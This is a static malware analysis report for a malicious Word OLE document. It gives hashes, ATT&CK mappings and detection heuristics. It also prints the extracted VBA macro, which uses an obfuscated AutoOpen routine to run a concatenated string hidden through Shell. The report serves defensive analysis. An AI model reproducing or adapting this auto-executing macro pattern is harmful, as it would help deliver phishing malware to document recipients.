Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 32522580050b3a97…

MALICIOUS

Office (OLE)

112.6 KB First seen: 2019-01-11
MD5: 3461b349ea2d55cf7e7b07dc2b4297c1 SHA-1: 583cafe5622411b87bd9cf5a3ae1998cdefb3208 SHA-256: 32522580050b3a9798cd539a1b1034dcb600540405449ca66b8d2f836c547c2d
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing a VBA macro with an AutoOpen entry point. The macro attempts to construct a string and then execute it using the Shell function, indicating it likely downloads and runs a second-stage payload. The large slack space in the OLE structure is also a common indicator of malicious documents.

Heuristics 5

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 115,313 bytes but its declared streams total only 64,816 bytes — 50,497 bytes (44%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1058 bytes
SHA-256: 6bfe7f8dc05a43042f60cedbfd08f53a754ef9e5700802ad97d030c70eed5897
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mwDiRYBkwsuFz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   ddHvM = 943
   KHdjdn = kbiFqN
   dvUpBz = Round(45)
   JEiLOZ = ChrB(KTuYJu - QutOc)
RNOqCtXTTZl = "" + RcPMHflpDnlML + AHCBJdDClBo + CVar("cm") + jJbUSRMDO + FpoBDbYACw + wjfzzIuP + JwtHwK + qltazh + pdOcMM + tHoYjDZ + KbLLA + zYiIh + zbNSMHc + cfkbqkkC + NGcRbhvv + zYiGjMYj + zwRczS + lSuQiQ + ViSoVQcXvK + JTPII + LmtwwY + jHMwwrf + tRnbwzTv + wvrdXpU + aiWtcbqYfl + IMtSwTN + FUlNZnWV + tiJYUz + oqvLFRFbOO + SZpsN + cFAvnlSLO + bczZAts + jvhYqId + UILvuz + WpfVkbzK + QmwGAATJVm + MAozvJfEQ + uazPLLDcw + AZmFa + SVzWt + amOSfmi + XvCZQEaKwX + lMqiAwMbYwk + LtIVlYcjtQ + tpAWh + YDUREz + hOZVRQjGwdjPG + fHrKdGoVT
   IOWMaU = fNJjYt
Shell@ RNOqCtXTTZl, 0
   QwDQWl = Hex(JuIwz * stFNlI * 39968 / lDPiaw)
End Sub

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